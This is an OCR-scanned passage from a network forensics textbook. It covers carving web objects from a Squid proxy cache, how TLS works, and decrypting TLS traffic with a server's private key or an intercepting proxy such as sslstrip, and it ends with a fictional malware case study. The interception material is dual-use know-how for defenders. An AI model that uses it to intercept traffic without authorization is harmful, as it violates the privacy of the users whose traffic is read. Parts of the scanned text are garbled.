OA 1A 2A 3A 4A 5A 6A T7A 8A O9A AA BA CA DA EA FA
0B 1B 2B 3B 4B 5B 6B 7B 8B 9B AB BB CB DB EB FB
oc 1C 2C 3C 4C b5C 6C 7C 8C 9C AC BC CCC DC EC FcC
0D 1D 2D 3D 4D 5D 6D 7D 8D 9D AD BD CD DD ED FD
OE 1E 2E 3E 4E b5E 6E T7E 8E 9E AE BE CE DE EE FE
OF 1F 2F 3F 4F ©&F 6F T7F 8F O9F AF BF CF DF EF FF

And each of those subdirectories contains files such as these:

$ 1s 00/00/

00000001 0000002C 00000058 00000083 O0OOOOOAE 000000DA
00000002 0000002D 00000059 00000084 0O0OOOOOAF 000000DB
00000003 O0000002E 0000005A 00000085 000000BO 000000DC
00000004 0000002F 0000005B 00000086 000000B1 000000DD
00000005 00000030 0000005C 00000087 000000B2 ©0OOOOODE
00000006 00000031 0000005D 00000088 000000B3 00000ODF
00000007 00000032 O0000OO5E 00000089 000000B4 0O0O00OOEO
00000008 00000033 0000005F 0000008A 000000B5 000000E1
00000009 00000034 00000060 0000008B 000000B6 0OO00O0O0OE2
0000000A 00000035 00000061 0000008C 000000B7 O0OOOOOE3
0000000B 00000036 00000062 0000008D 000000B8 O0O00000E4

Finally, each of those eight-character files contains—yes!—the object actually cached by
Squid, along with Squid metadata and HTTP headers. Each disk file includes a Squid header
with metadata, followed by the HTTP response (headers and body). The Squid metadata
includes the URI requested as well as the database key and other information.

10.5.2.1 Extracting a Cached Web Object

To extract a web object from the Squid cache, first locate the cache file of interest. You can
do this in a variety of ways, depending on the information you have available. For example,
if you have identified a URI of interest from Squid’s access log file, you can use standard
UNIX/Linux shell commands to list files in the Squid cache directory that contain that URI.
(To make your search more specific, you can calculate the key using the HTTP method and
URL listed in the access log, and search for web objects that contain the key.)

Once you have identified your cached object of interest, you can extract the original web
object by removing the Squid metadata and HTTP headers prepended to the top of the file.
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@™ @™

v

HITP/1.1 200 OK

Date: Tue, 14 Apr 2009 19:55:18 GMT
Server: Lpaches/2.2.3 (FH)
X-Powered-By: PHP/S.1.6

Connection: close

Content-Type: text/html; charset=UTF-8

<1DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN"=
<html=

<head=

=meta http-equiv="Content-Type" content="text/html; charset=utf-&
<t1tle=LOLCATS.COM - Unnamed Kitty=/title=

=link rel="stylesheet" type="text/css" href="/style.css"=>

=link rel="alternate" type="application/rss+xml" title="Lolcats R
r.com/Lolcats/ress"=

=script src="http://partners.dogtime.com/network/0.0.1/assets /001,
1pt"==/script=

</head=>

<body=

zdiv 1d=twhalar=

Figure 10-5. A cached Squid object, viewed using “less.”

Figure 10-5 shows an example of a page stored in the Squid disk cache, viewed using the
“less” command. Notice the binary metadata at the top of the file (which includes the web
object URI), followed by the original HT'TP response headers received from the web server.
The HTTP response headers provide us with a range of useful information about the web
object and server. In particular, note the “Content-Type” header, which indicates that the
cached web object is “text/html.”

According to the HTTP/1.1 protocol specifications (RFC 2616) shown below,?* the
HTTP message body will always be immediately preceded by TWO carriage-return/linefeeds
(CRLF). In hexadecimal, a carriage return is “0x0D” and a linefeed is “0x0A.”

After receiving and interpreting a request message, a server responds
with an HTTP response message.

Response = Status-Line ; Section 6.1
*(( general-header ; Section 4.5
| response-header ; Section 6.2
| entity-header ) CRLF) ; Section 7.1
CRLF
[ message-body 1] ; Section 7.2

24. “RFC 2616—Hypertext Transfer Protocol—HTTP/1.1.”
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Figure 10-6. A cached Squid object, viewed using the Bless hex editor.

Note that the “Status-Line” in the response always ends with a CRLF, so even in the
relatively rare case that there are no headers, the message body will still be immediately
preceded by two CRLFs.

This means that to carve out the message body in the HTTP response, we need to look
for the first instance of two CRLFs (0x0DOAODOA). Sometimes this may include more than
two CRLF sequences in a row, in which case, you will normally want to trim the entire block.
Figure 10-6 shows an example of a page stored in the Squid disk cache, viewed using the
Bless hex editor. To carve out the message body, cut all bytes through the “0x0DOAODOA”
marker, as shown in Figure 10-6. Notice that the CRLF characters are immediately followed
by an appropriate HTML header, <!DOCTYPE html PUBLIC “-//W3C//DTD HTML
4.01//EN” >, confirming that we have correctly found the beginning of the message body.

Once the HTTP response message body is carved out, we can analyze the web
object using native viewers, as we would for usual filesystem forensics. Figure 10-7 shows an
example of the extracted web object, viewed using “less.” In the source, there is a referral
to the image file lolcatsdotcomvz4o71odbkla2v24.jpg. We’ll come back to that.
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SULY Lu=TpLogn e

<hl=Unnamed Kitty=/hl=<br=<a href="/view/2330
7U==img src="/images/u/ 08/ 22/ | ECIE L EGEALT  JERDEL LT | o1 t="nnamed
Kitty" border="0"=</a=<br=<a href="/view/23307"=Next Picture &#62;&#52;</a=<h
re=<br=<!-- AddThis Bookmark Button BEGIN --=
<a href="http://www.addthis.com/bookmark.php" onclick="addthis_url = locat1
on.href; addthis_title = document.title; return addthis_click(this);" target=
" blank"==img src="http://s9.addthis.com/buttonl-bm.gif" width="125" height="
16" border="0" alt="AddThis Social Bookmark Button" /==/a= =script type="text
flavascript"svar addthis_pub = 'lolcats';</scripts<=script type="text/javascri
pt" src="http://s9.addthis.com/js/widget.php?v=10"=</script=
<hr=<hr=

Figure 10-7. An extracted text/html| web object, viewed using “less”.

Opening the extracted text/html web object in a browser (offline), we see some of the
page content (shown in Figure 10-8). Notice that since the browser is not connected to the
Internet, it does not automatically retrieve referenced images and the embedded links will
not work.

It is possible for us to search the Squid cache and retrieve any referenced images, which
are also stored on disk. Let’s see if that image file, lolcatsdotcomvz4o71lodbkla2v24.jpg, is

LOLCATS.COM = Unnamed Kitty = Mozilla Frefox

Fle Edit View History Bockmarks Tools Help

] A & | | fleyljanalysisf000000ER- edited html B[~ G~ a

Rate this lolcat!

Unnamed Kitty

Link: |http'.r.mww lolcats.compviews|
Image code: |<a href="httppwww.lolcats.|

;|\ Offline
=% Mode

FCivmboss in )

& Find: | t [ Match case

Figure 10-8. An extracted web object, viewed using the Firefox web browser (offline).
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in our disk cache. For this example, we simply search for the referenced URL using Linux
command-line tools:

$ grep -r 'http://lolcats\.com/images/u/08/22/1lolcatsdotcomvz4o7lodbkla2v24\.
jpg' squid/
Binary file squid/00/00/000000F8 matches

Now let’s examine the metadata strings and HTTP header information from the match-
ing cache file.

$ strings 00/00/000000F8 |head
http://lolcats.com/images/u/08/22/1lolcatsdotcomvz4o7lodbkla2v24. jpg
HTTP/1.1 200 OK

Date: Tue, 14 Apr 2009 19:56:20 GMT

Server: Apache/2.2.3 (FH)

Last-Modified: Mon, 26 May 2008 11:27:13 GMT
ETag: "bd50e3-bf60-76080640"

Accept -Ranges: bytes

Content-Length: 48992

Connection: close

Content -Type: image/jpeg

From the URI and Content-Type header, this appears to be the image we’re looking for.
To extract the cached JPEG, open a hex editor and cut the Squid metadata and HTTP
headers out of the file. Figure 10-9 shows the cached JPEG stored in the Squid disk cache,
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Figure 10-9. A JPEG image in the Squid disk cache, viewed using the Bless hex editor.
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viewed using the Bless hex editor. Once again, to carve out the message body, cut all bytes
through the “0x0D0AODOA” marker, as shown in Figure 10-9. Notice that the characters
immediately following this marker are “OxFFDS8.” This corresponds with the “magic num-
ber” for JPEG images. This is good corresponding evidence that we have correctly carved
out the JPEG image referred to in the URI and Content-Type header.

To confirm the file type, we can use the Linux “file” command:

$ file 000000F8-edited. jpg
000000F8-edited. jpg: JPEG image data, JFIF standard 1.01, comment: "CREATOR:
gd-jpeg v1.0 (using IJ"
Finally, we can open the file up in an image viewer, as shown in Figure 10-10. Voila!
As good forensic practice, it is always wise to obtain the cryptographic hash from any
files you carve:

$ sha256sum 000000F8-edited

418e52142768243b83a174d3ef9587fb55ebed4b06c61f461e6097563526f651a 000000F8-
edited

$ md5sum 000000F8-edited
e8db83aac64fecbceb6ee7d135f13e10 000000F8-edited

Fle Edit View History Bookmarks Tools Help

b= ~ ﬁ & | | filesjfanalysis/000000F8- edited jpgl L |Gl

LOLCATS.COM

& Find: (] Match case

Figure 10-10. The JPEG image extracted from the Squid disk cache.
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10.5.2.2 Automated Squid Cache Extraction

We are on the forefront of an industry. Until now, very little has been written or developed
so far to assist with extracting web objects directly from web proxy caches.

Happily, the network forensic community has been stepping up. Alan Tu, George Bakos,
and Rick Smith have all contributed to development of a Squid cache extraction tool,
“squid_extract_v01.pl,” 2> which can automatically extract the web object from a Squid cache
file, or even extract all web objects from an entire Squid cache directory, as shown below:

$ squid_extract_v01l.pl -p squid -o extracted/

Here are the contents of the directory where squid_extract_v01l.pl placed the extracted

files, organized by domain:

$ 1s extracted/
0.gravatar.com
1.gravatar.com
ad.doubleclick.
adsl.msn.com
ak.imgfarm.com
analytics.live.com
api.search.live.com
ask.slashdot.org

b.adsl.msn.com

b.casalemedia.com
bin.clearspring.com
cache.amefin.com
cdn.doubleverify.com
clientsl.google.com
davidoffsecurity.com
ds.serving-sys.com

ec.atdmt.com
en-us.fxfeeds.mozilla.com
en.wikipedia.org

extract_log.txt
faq.files.wordpress.com
finickypenguin.files.wordpress.com
finickypenguin.wordpress.com
forensics.sans.org
fpdownload2.macromedia.com
fxfeeds.mozilla.com
googleads.g.doubleclick.net
i.ixnp.com
images-origin.thinkgeek.com
images.slashdot.org
images.sourceforge.net
images.thinkgeek.com
img.youtube.com

jhamcorp.com

js.adsonar.com

js.casalemedia.com

js.revsci.net

net

25. A. Tu, G. Bakos, and R. Smith, “squid _extract_v01.pl,” https://forensicscontest.com/tools/squid _extract

_vO1.pl.

news.slashdot.org
pagead2.googlesyndication.com
partner.googleadservices.com
partners.dogtime.com
pix01.revsci.net
pubads.g.doubleclick.net
rmd.atdmt.com
s2.wordpress.com
s3.wordpress.com
s7.addthis.com
s9.addthis.com

sansforensics.files.wordpress.

sansforensics.wordpress.com
search.msn.com

s.fsdn.com

shots.snap.com

slashdot.org

spa.snap.com

spe.atdmt.com
s.stats.wordpress.com
start.ubuntu.com
stats.wordpress.com
st.msn.com
suggestqueries.google.com
s.wordpress.com
tbn2.google.com
tk2.stb.s-msn.com
tk2.stc.s-msn.com
tk2.stj.s-msn.com
upload.wikimedia.org
urgentq.foxnews.com
video.google.com
vign_foxnews -news.baynote.net
WWww.controlscan.com
www.feedburner.com

WWW .

www.foxnews.com

com

foxbusiness.idmanagedsolutions.com
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linux.slashdot.org WWw.google-analytics.com
lolcats.com WWw.google.com
ml.2mdn.net WWww.gravatar.com
medals.bizrate.com WWW.Mmsn.com
media2.foxnews.com www.thinkgeek.com
meta.wikimedia.org www.wikipedia.org
msntest.serving-sys.com yui.yahooapis.com

newsrss.bbc.co.uk

In the output directory there is also a logfile, which by default lists the original cache
file and the corresponding URI:

$ head extracted/extract_log.txt
working file: squid/00/00/00000001
Extracting http://www.msn.com/

working file: squid/00/00/00000002
Extracting http://tk2.stc.s-msn.com/br/hp/11/en-us/css/b_7_s.css

working file: squid/00/00/00000003
Extracting http://adsl.msn.com/library/dap. js

working file: squid/00/00/00000004

Let’s check to see if the automated squid_extract_vO1l.pl tool correctly carved out the
JPEG image file we manually extracted earlier. First, we will check the file’s magic number:

$ file extracted/lolcats.com/images/u/08/22/lolcatsdotcomvz4o7lodbkla2v24. jpg
extracted/lolcats.com/images/u/08/22/1lolcatsdotcomvz4o7lodbkla2v24. jpg: JPEG
image data, JFIF standard 1.01, comment: "CREATOR: gd-jpeg v1.0 (using IJ"

Next, let’s take the cryptographic checksums:

$ sha256sum extracted/lolcats.com/images/u/08/22/
lolcatsdotcomvz4o7lodbkla2v24. jpg

418e52142768243b83a174d3ef9587fb55ebe4b06c61f461e60975663526f651a extracted/
lolcats.com/images/u/08/22/1lolcatsdotcomvz4o7lodbkla2v24. jpg

$ md5sum extracted/lolcats.com/images/u/08/22/lolcatsdotcomvz4o7lodbkla2v24.
jre

e8db83aac64fecbcebbee7d135f13e10 extracted/lolcats.com/images/u/08/22/
lolcatsdotcomvz4o7lodbkla2v24. jpg

Notice that the cryptographic hashes we obtained from carving automatically using
squid_extract_v01l.pl match the ones we obtained earlier when we extracted the correspond-
ing web objects manually.

10.6 Encrypted Web Traffic

Encryption of files at rest is a well-known problem in traditional hard drive forensics. Foren-
sic investigators are often called upon to analyze hard drives or files that are partially or
fully encrypted. As an investigator, dealing with encryption can be the most difficult chal-
lenge. Much has been written about how to deal with this issue when encryption is used at
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Figure 10-11. An “"XKCD" cartoon describing advanced techniques for recovering encrypted

data. By Randall Munroe, xked.com.?¢

rest, from memory analysis techniques for recovering passwords and full-volume encryption
keys, to the sophisticated techniques described in XKCD (Figure 10-11).

Encryption on the wire poses the same types of challenges for network forensic investi-
gators. In particular, an increasing percentage of web traffic is encrypted, using TLS/SSL
or other means. This can make it difficult for enterprises to routinely filter inbound and
outbound content, scan downloads for malware, ensure that appropriate use policies are
followed, check uploads for proprietary information, and more.

There are several contributing factors that have led to the rise in encrypted web

transactions:

e Industry regulations such as PCI, as well as government regulations such as HIPAA|
require that sensitive information must be protected by encryption in transit. Since the
web is a very convenient medium for conducting financial transactions and exchanging
personal, financial, and even medical information, easy-to-use encryption schemes are

becoming widespread.

e Employees seeking to browse private and/or insider attackers on company networks
may leverage encryption to disguise their web activity.

e Malware authors and distributors often use encryption to disguise their payloads
and/or subsequent communications channels.

26. Randall Munroe, “xkcd: Security,” 2011, http://xked.com/538/.
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As you can see, encryption is a tool. Like any tool, it can be used to protect legitimate
personal and business interests, or it can be misused to help circumvent organizational
policies and undermine fair business practices.

Network forensic investigators may be called upon:

e To identify encrypted web traffic, examine the endpoints, volume, and flow data, and
determine the associated risk to the organization and likelihood of legitimate /illegiti-
mate use.

e To evaluate the effectiveness of a web traffic encryption scheme.

e To circumvent or break an encryption scheme and gain access to content that one or
both endpoints of communication intended to be confidential.

10.6.1 Transport Layer Security (TLS)

The Transport Layer Security (TLS) protocol is an IETF standard designed to “provide
communications security over the Internet.”?” Its predecessor, the Secure Socket Layer pro-
tocol (SSL), was originally developed by Netscape Corporation during the early 1990s. In
1999, the IETF published TLS 1.0, which was designed to improve upon SSL.2® Since then,
the development and adoption of TLS has continued and become widespread, particularly
to provide security for web applications.?® Although Netscape patented the SSL protocol,
it has granted the public a royalty-free license to use SSL and TLS, which is based on it.

Despite it’s name, TLS is not a transport-layer protocol. Rather, it is designed to be
layered on top of a transport-layer protocol such as TCP in order to provide cryptographic
security for higher-layer applications.

In web applications, TLS is commonly used for two purposes:

e To provide confidentiality and integrity of data in transit between the web client and
web server.

e To provide a means by which web clients can verify the identity of the web server with
which they are communicating (and vice versa, although more rarely).

10.6.1.1 How TLS/SSL Works

TLS is the world’s most common framework for implementation of public-key cryptogra-
phy. All modern browsers are distributed with built-in certificates for trusted certificate
authorities (CAs) such as Verisign (see Figure 10-12). Web servers present their digitally
signed certificates to web clients, which in turn use certificates from trusted CAs to verify
the identity of the web server.

27. T. Dierks and E. Rescorla, “RFC 5246—The Transport Layer Security (TLS) Protocol Version 1.2,”
IETF, August 2008, http://rfc-editor.org/rfc/rfc5246.txt.

28. T. Dierks and C. Allen, “RFC 2246—The TLS Protocol Version 1.0,” IETF, January 1999, http://rfc-
editor.org/rfc/rfc2246.txt.

29. T. Dierks and E. Rescorla, “RFC 5246—The Transport Layer Security (TLS) Protocol Version 1.2,”
IETF, August 2008, http://rfc-editor.org/rfc/rfc5246.txt.
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Figure 10-12. A screenshot of part of a Certificate Authority's certificate, “VeriSign Class 3
Public Primary Certification Authority—G5." This certificate is distributed with many modern
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According to the X.509 specification,?’ “the CA certifies the binding between the public
key material and the subject of the certificate.” Each certificate includes information such as
the certificate subject, issuer, dates of validity, the issuer’s public key, and the cryptographic
algorithms used. A certificate authority verifies the accuracy of the information in the cer-
tificate, and then uses its own private key to compute a digital signature of the information

30. D. Cooper, “RFC 5280—Internet X.509 Public Key Infrastructure Certificate and Certificate Revocation
List (CRL) Profile,” IETF, May 2008, http://www.rfc-editor.org/rfc/rfc5280.txt.
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contained in the certificate. This digital signature is distributed as part of the certificate
itself to allow for later verification.

To implement the TLS protocol, each web server has a public key and a private key.
When a client contacts the server:

e The client and server agree on the protocol version and algorithms to be used.

e The server sends the client a certificate that includes its public key and information
about the server (including its canonical name). A digital signature is attached to the
certificate. The purpose of the digital signature is to enable the client to cryptographi-
cally verify the validity of the information in the certificate itself, including the server’s
public key.

e The client optionally provides its certificate to the server for client authentication.

e The client computes a cryptographic hash of the information in the web server’s cer-
tificate. It then uses the public key of the appropriate certificate authority to check
the digital signature of the cryptographic hash.

e The client checks that the certificate is currently valid and that the host name listed
in the certificate matches the web server’s host name.

e The client uses the web server’s public key to encrypt a random secret number, known
as the “premaster secret,” and sends it to the web server. The web server uses its
private key to decrypt the message and retrieve the premaster secret, which is now
shared only by the client and server. The shared premaster secret is used as the basis to
generate session keys for subsequent symmetric key encryption of communications. !

10.6.2 Gaining Access to Encrypted Content

If you need to gain access to the content of web application communications encrypted with
TLS/SSL (and you have the legal authority to do so), there are two general approaches. First,
in some cases you can capture traffic and use the server’s private key to recover the session
keys and decrypt the contents (depending on the method of key exchange). This requires
that you have access to the server’s private key either before or after the traffic capture.

Second, you can intercept the TLS/SSL session using a proxy. If you have control of the
client, you can install your own certificate authority and configure the system to trust your
proxy’s certificate. Otherwise, the user of the client system may receive a warning about a
potential man-in-the-middle attack.

10.6.2.1 Server’s Private Key

If you have the web server’s private key, and a TLS/SSL traffic capture in which the RSA
algorithm was used for session key exchange, you can decrypt the premaster secret sent
by the client and recover the session keys used as the basis for subsequent symmetric key
encryption. You will need a full-content packet capture of the TLS/SSL handshake and
subsequent traffic between the client and server. It is not necessary to have access to the
server’s private key before obtaining the packet capture; you can capture traffic and later
recover the server’s private key to use for decryption.

31. Jeff Moser, “Moserware: The First Few Milliseconds of an HT'TPS Connection,” June 10, 2009, http://
www.moserware.com/2009/06/first-few-milliseconds-of-https.html.
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Be aware that this technique will work for TLS/SSL sessions that rely on RSA for key
exchange, but not for sessions that use Diffie-Hellman key exchange. As noted by security
researcher Erik Hjelmvik,3?

“There are multiple ways to perform the key exchange in SSL, but the most
common ways are to either use RSA or to use ephemeral Diffie-Hellman key
exchange. When RSA is used, and a passive listener is in possession of the server’s
private RSA key, one can actually decode the SSL traffic. Diffie-Hellman key
exchange does, on the other hand, use a scheme where a new random private
key is generated for each individual session. This prevents a third-party listener,
who did not participate in the key exchange, from decoding the SSL session.”

Wireshark Wireshark can be compiled with functionality for decrypting TLS/SSL-encrypted
traffic, when RSA key exchange is used and the server’s private key is known.?? In
Figure 10-13, you can see an SSL-encrypted packet capture, shown in Wireshark. Note
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Figure 10-13. A packet capture of SSL-encrypted traffic, shown in Wireshark.

32. Erik Hjelmvik, “Facebook, SSL and Network Forensics,” January 2011, http://www.netresec.com/
?page=Blog&month=2011-01&post=Facebook-SSL-and-Network-Forensics.

33. “SSL—The Wireshark Wiki,” June 24, 2011, http://wiki.wireshark.org/SSL.
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Figure 10-14. Wireshark’'s SSL protocol configuration window, which allows the end-user to
incorporate the SSL server's private key.

the protocol in the Packet List window is listed as “SSLv3,” and the Packet Details win-
dow describes the contents as “Encrypted Application Data,” and there are no higher-layer
protocol details listed below this.

Figure 10-14 shows an example of Wireshark’s SSL protocol configuration window, which
allows the user to provide Wireshark with a path to the server’s private key. Once the server’s
private key is incorporated into Wireshark, Wireshark will automatically decrypt SSL/TLS-
encrypted content. Figure 10-15 shows the same packet capture as above, after the server’s
private key is used to recover the premaster secret and compute the session keys. Notice that
Wireshark now lists the Protocol as “HTTP,” and in the Packet Details panel has presented
“Reassembled SSL Segments” along with HT'TP header information.

10.6.2.2 Intercepting Proxy

You can capture and inspect the contents of TLS/SSL-encrypted traffic by using a TLS/SSL
proxy to intercept the traffic. To accomplish this, you first need to set up a proxy through
which the client and server communications are sent. When the client sends a request to
a TLS/SSL server, the server’s TLS/SSL responses are terminated at the proxy, and the
proxy sets up an encrypted tunnel between the proxy and server. The proxy also provides
a “spoofed” server certificate to the client and sets up a second TLS/SSL tunnel between
the client and proxy. The proxy itself can then inspect the traffic in cleartext, or forward it
along to another system for analysis.

Of course, the challenge is that TLS/SSL is designed to protect against this very situa-
tion: essentially, a man-in-the-middle attack against the TLS/SSL protocol. In theory, the
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Figure 10-15. A packet capture of SSL-encrypted traffic, shown in Wireshark. In this case,
Wireshark has been configured to use the web server's private key to decrypt the SSL-encrypted
packet contents. Notice that the application-layer HTTP data has been recovered.

web client should detect that the proxy’s certificate is spoofed, because it is not properly
signed by a trusted CA, and present the user with a warning pop-up or similar alert. In prac-
tice, forensic investigators and authorized network personnel can prevent these warnings.
When you have control over the configuration of the client, as is the case in many enterprises,
you can install a locally generated, trusted CA certificate in each client’s browser. This cer-
tificate can be used by the local enterprise to digitally signed, even “spoofed” certificates
provided by the intercepting proxy, which the client will then view as valid certificates. (It
is also a sad state of affairs that many end-users will simply ignore security warnings and
click through them, sacrificing convenience for privacy and security.)

Sslstrip  “Sslstrip” is a free, publicly available TLS/SSL interception tool by Moxie Marlin-
spike, distributed under the GNU GPLv3.3* Sslstrip is designed to work in conjunction with
ARP spoofing or a similar method that will cause selected traffic to be run through a host
under your control. (If you have control of the routers/firewall, you can simply have that

34. Moxie Marlinspike, “sslstrip,” 2011, http://www.thoughtcrime.org/software/sslstrip.
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traffic legitimately forwarded to your host with less risk.) Remember to set up IP forwarding
on your host so that the traffic will be sent along to its final destination.
Once sslstrip receives a TLS/SSL client connection, it can:

e Connect to the real TLS/SSL site and capture the certificate information
e Generate a new certificate on the fly with an identical Distinguished Name
e Sign the new certificate with a certificate /key you have provided

e Do a TLS/SSL handshake with the client

From that point on, the traffic is TLS/SSL-encrypted between the client and sslstrip,
and sslstrip and the web server. Sslstrip itself can capture the traffic in cleartext and log it.

The only caveat is that unless the client’s system trusts the interceptor’s certificate, the
client will receive a pop-up indicating that the web server’s SSL certificate is not trusted.

10.6.3 Commercial TLS/SSL Interception Tools

Commercial web proxies, such as those manufactured by Blue Coat and others, can proxy
not only the web traffic but also session-layer TLS/SSL traffic used in HT'TPS sessions. This
allows for content inspection of what would otherwise be encrypted payloads.

As an example, Blue Coat’s ProxySG includes SSL interception and content filtering
features. Blue Coat’s products are based on essentially the same principles as sslstrip. Blue
Coat intercepts and inspects SSL content by terminating the server’s SSL tunnel at the
proxy, providing a “spoofed” certificate to the client, and setting up a second SSL tunnel
between the client and proxy.

To prevent client security pop-ups, the Blue Coat Systems Deployment Guide, “Deploy-
ing the SSL Proxy,” includes the following suggestion: “When the SSL Proxy intercepts an
SSL connection, it presents an emulated server certificate to the client browser. The client
browser issues a security pop-up to the end-user because the browser does not trust the
issuer used by the ProxySG. This pop-up does not occur if the issuer certificate used by SSL
Proxy is imported as a trusted root in the client browser’s certificate store. The ProxySG
makes all configured certificates available for download via its management console. You can
ask end users to download the issuer certificate through Internet Explorer or Firefox and
install it as a trusted CA in their browser of choice. This eliminates the certificate popup
for emulated certificates ... 7”35 36,37, 38

35. “Think Your SSL Traffic is Secure?,” July 3, 2006, http://directorblue.blogspot.com/2006/07 /think-
your-ssl-traffic-is-secure-if.html.

36. “Deploying the SSL Proxy,” Blue Coat Systems Inc., 2006, http://www.bluecoat.co.jp/downloads/
manuals/SGOS_DG_4.2.x.pdf.

37. Joris Evers, “Blue Coat to Cleanse Encrypted Traffic,” CNET News, November 8, 2005, http://news.cnet
.com/Blue-Coat-to-cleanse-encrypted-traffic/2100-1029 _3-5940533.html.

38. “Webwasher Competitive Sheet: Web Security,” Secure Computing, n.d., http://dr0.bluesky.com
.au/Vendors/Secure_Computing/ Web_Gateway/ WebWasher/ Comparisons/ Webwasher CompSheet-BlueCoat
.pdf.


http://directorblue.blogspot.com/2006/07/think-your-ssl-traffic-is-secure-if.html
http://directorblue.blogspot.com/2006/07/think-your-ssl-traffic-is-secure-if.html
http://www.bluecoat.co.jp/downloads/manuals/SGOS_DG_4.2.x.pdf
http://www.bluecoat.co.jp/downloads/manuals/SGOS_DG_4.2.x.pdf
http://news.cnet.com/Blue-Coat-to-cleanse-encrypted-traffic/2100-1029_3-5940533.html
http://news.cnet.com/Blue-Coat-to-cleanse-encrypted-traffic/2100-1029_3-5940533.html
http://dr0.bluesky.com.au/Vendors/Secure_Computing/Web_Gateway/WebWasher/Comparisons/WebwasherCompSheet-BlueCoat.pdf
http://dr0.bluesky.com.au/Vendors/Secure_Computing/Web_Gateway/WebWasher/Comparisons/WebwasherCompSheet-BlueCoat.pdf
http://dr0.bluesky.com.au/Vendors/Secure_Computing/Web_Gateway/WebWasher/Comparisons/WebwasherCompSheet-BlueCoat.pdf

10.7 Conclusion 401

10.7 Conclusion

In 1989, Tim Berners-Lee proposed creating a “global hypertext system” of “[hJuman-
readable information linked together in an unconstrained way.”3° Since then, the World
Wide Web has exploded to incorporate graphics, multimedia, interactive chat, and social
networking, and pervaded nearly every aspect of modern life.

Web proxies are traditionally used inside organizations to improve performance and filter
traffic. Now, we are witnessing the next evolution, in which customized, dynamic content is
delivered quickly through a network of distributed caching web proxies. As their functionality
increases, web proxies have become invisibly ingrained into the fabric of the World Wide
Web, and into network forensic investigations as well.

In this chapter, we discussed the various types of evidence that may exist on web proxies,
reviewed tools for analyzing web access logs, and demonstrated how to carve a web object out
of a Squid web proxy cache. When there is an investigation involving web activity, forensic
investigators should keep in mind that client web access logs and cached web objects may
exist. This evidence can provide an invaluable glimpse of precisely what the client requested
and when, and can even reveal the exact web object that the user received in response.

39. Tim Berners-Lee, “Information Management: A Proposal,” May 1990, http://www.w3.org/History/
1989/proposal.html.
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10.8 Case Study: InterOptic Saves the Planet (Part 2 of 2)

The Case: In his quest to save the planet, InterOptic has started a credit card number
recycling program. ‘““Do you have a database filled with credit card numbers, just sitting
there collecting dust? Put that data to good use!”’ he writes on his web site. ‘“‘Recycle your
company’s used credit card numbers! Send us your database, and we’ll send YOU a check.”’
For good measure, InterOptic decides to add some bells and whistles to the site, too ...

Meanwhile ... MacDaddy Payment Processor deployed Snort NIDS sensors to detect an
array of anomalous events, both inbound and outbound. An alert was logged at 08:01:45 on
5/18/11 concerning an inbound chunk of executable code sent to port 80/tcp for inside host
192.168.1.169 from external host 172.16.16.218. Here is the alert:

[**x] [1:10000648:2] SHELLCODE x86 NOOP [*x*]

[Classification: Executable code was detected] [Priority: 1]
05/18-08:01:45.591840 172.16.16.218:80 -> 192.168.1.169:2493

TCP TTL:63 TO0S:0x0 ID:53309 IpLen:20 DgmLen:1127 DF

**x AP*** Seq: O0x1B2C3517 Ack: O0x9F9E0666 Win: 0x1920 TcpLen: 20

We analyzed the Snort alert and determined the following likely events (see the case study
in Chapter 7 for more details):

e From at least 07:45:09 MST until at least 08:15:08 MST on 5/18/11, internal host
192.168.1.169 was being used to browse external web sites, some of which delivered
web bugs, which were detected and logged.

e At 08:01:45 MST, an external web server 172.16.16.218:80 delivered what it stated was
a JPEG image to 192.168.1.169, which contained an unusual binary sequence that is
commonly associated with buffer overflow exploits.

e The ETag in the external web server’s HI'TP response was:
1238-27b-4a38236£5d880

e The MD5sum of the suspicious JPEG was:
13¢303f74620e8826b749fceb6a5c126

e Less than three minutes later, at 08:04:28 MST, internal host 192.168.1.169
spent roughly 10 seconds sending crafted packets to other internal hosts on the
192.168.1.0/24 network. Based on their nonstandard nature, the packets are consis-
tent with those used to conduct reconnaissance via scanning and operating system
fingerprinting.

Challenge: You are the forensic investigator. Your mission is to:

e Examine the Squid cache and extract any cached pages/files associated with the Snort
alert shown above.

e Determine whether the evidence extracted from the Squid cache corroborates our
findings from the Snort logs.
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e Based on web proxy access logs, gather information about the client system
192.168.1.169, including its likely operating system and the apparent interests of any
users.

e Present any information you can find regarding the identity of any internal users who
have been engaged in suspicious activities.

Network: The MacDaddy Payment Processor network consists of three segments:

e Internal network: 192.168.1.0/24
e DMZ: 10.1.1.0/24

e The “Internet”: 172.16.0.0/12 [Note that for the purposes of this case study, we are
treating the 172.16.0.0/12 subnet as “the Internet.” In real life, this is a reserved
nonroutable IP address space.]

Other domains and subnets of interest include:

e .evl—a top-level domain (TLD) used by Evil systems.

e example.com—MacDaddy Payment Processor’s local domain. [Note that for the pur-
poses of this case study, we are treating “example.com” as a legitimate second-level
domain. In real life, this is a reserved domain typically used for examples, as per RFC
2606.]

Evidence: You are provided with two files containing data to analyze:

e evidence-squid-cache.zip—A zipfile containing the Squid cache directory (“squid”)
from the local web proxy, www-proxy.example.com. Helpfully, security staff inform you
that since MacDaddy Payment Processor’s network connection has been slow, the web
proxy is tuned to retain a lot of pages in the local cache.

e evidence-squid-logfiles.zip—Snippets of the “access.log” and “store.log” files from
the local Squid web proxy, www-proxy.example.com. The access.log file contains web
browsing history logs, and the store.log file contains cache storage records, both from
the same time period as the NIDS alert.

10.8.1 Analysis: pwny.jpg

Lets begin by examining the Squid proxy cache for traces of the suspicious image that we
found in Snort. The Squid header we received contained a pseudo-unique ETag value of
“1238-27b-4a38236f5d880.” Using Linux command-line tools, we can search the Squid cache
and list the cache file that contains this ETag, as shown below:

$ grep -r '1238-27b-4a38236£5d880 ' squid
Binary file squid/00/05/0000058A matches


www-proxy.example.com
www-proxy.example.com
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Figure 10-16. Opening the cached page in

cached object in the Squid metadata.

[Selection: 0x3c to 0x57 (0x1c bytes) [In

“Bless,” we can find the URI of the requested

It appears that the page we're looking for is cached in the file “squid/00/05/0000058A.”
Opening the cached page in “Bless,” we can find the URI of the requested cached object
in the Squid metadata, as shown in Figure 10-16. It appears that the URI of the cached

object was:

http://www.evil.evl/pwny.jpg

Immediately following the metadata are the HTTP headers, as follows:

HTTP/1.1 200 OK

Date: Wed,

Server:

Last-Modified: Wed,

ETag: "1238-27b-4a38236f5d880"
Accept -Ranges: bytes

Content -Length: 635

Keep-Alive:
Connection:
Content -Type:

timeout=15,
Keep-Alive
image/jpeg

max=100

18 May 2011 15:01:45 GMT
